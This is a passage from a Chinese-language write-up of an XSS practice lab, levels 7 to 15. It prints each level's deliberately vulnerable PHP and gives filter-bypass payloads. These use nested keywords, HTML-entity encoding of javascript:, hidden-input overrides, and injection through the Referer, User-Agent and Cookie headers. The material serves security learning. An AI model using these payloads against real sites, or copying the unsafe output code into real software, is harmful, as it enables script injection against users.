" Onclick=alert('XSS') //

payload2:

1
"><a Href=javascript:alert('XSS') //

第7关:嵌套构造

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在上一关的基础上使用了strtolower()函数转化为小写,防止大小写绕过,但可以利用嵌套绕过

payload1:

1
" oonnclick=alert('XSS') //

payload2:

1
"><a hrhrefef=javascrscriptipt:alert('XSS') //

第8关:HTML编码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

有两个输出的地方,第一个使用了htmlspecialchars()函数进行 HTML 实体化,不能绕过了,第二个部分没有过滤,而且还是在href中的,可以使用 javascript 伪协议来绕过,不过过滤了script,并且不是替换为空,但是可以进行 HTML 编码绕过,将t编码为&#x74;

payload1:

1
javascrip&#x74;:alert('XSS') //

payload2:

可以将Tab键或者回车键编码绕过

1
javascrip&#x09;t:alert('XSS') //
1
javascrip&#x0a;t:alert('XSS') //

第9关:阅读源码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

在上一关的基础上多使用strpos()函数检查keyword中是否存在http://,所以只要在最后//后加上即可

payload:

1
javascrip&#x74;:alert('XSS') //http://

第10关:覆盖元素属性

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

keyword被过滤的不太能绕过了,不过还有个 GET 参数t_sort,只过滤了尖括号,然后就直接输出到input标签中,不过后面使用了type="hidden"将输入框隐藏起来,可以手动赋值type覆盖掉,也可以 F12 手动删掉hidden

payload1:

1
/level10.php?keyword=233&t_sort=" type="" onclick=alert('XSS') //

然后点一下输入框即可

payload2:

1
/level10.php?keyword=233&t_sort="onclick=alert('XSS') //

F12查看元素,找到后删去hidden再点输入框

image-20260121223604180

image-20260121223714114

第11关:HTTP Referer

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

keywordt_sort都严格过滤了,不能绕过,但是发现还有个$str11=$_SERVER['HTTP_REFERER'];,只是过滤了尖括号,然后就直接输出了,所以可以添加请求头Referer写入payload,同样也是要覆盖元素

payload:

1
Referer: " type="" onclick=alert('XSS') //

image-20260121224152291

第12关:HTTP User-Agent

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上题差不多,改成在 User-Agent 就行

payload:

1
User-Agent: " type="" onclick=alert('XSS') //

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

改成 Cookie 里的user

payload:

1
Cookie: user=" type="" onclick=alert('XSS') //

第14关:AngularJS ng-include 指令

源码:

1
2
3
4
5
6
7
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考的是Angular JSng-include 用法

参考资料:https://www.runoob.com/angularjs/ng-ng-include.html

image-20260121225457515

所以这里可以包含其他关的页面来触发弹窗

payload:

1
/level14.php?src='level1.php?name=<img src=x onerror=alert(123)>''

不过不知道为什么我没有成功弹出窗口)

第15关:过滤空格

源码:

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

过滤了空格,可以用以下的代替绕过:

符号 URL 编码
回车 %0d
换行 %0a
换页 %0c

payload:

1
/level15.php?keyword=<img%0dsrc=x%0donerror=alert('XSS')>
1
/level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>
1
/level15.php?keyword=<img%0csrc=x%0conerror=alert('XSS')>

XSS 实战攻击思路

看国光写的文章:https://www.sqlsec.com/2020/10/xss2.html#%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF


XSS
https://yschen20.github.io/2026/01/21/XSS/
作者
Suzen
发布于
2026年1月21日
更新于
2026年1月21日
许可协议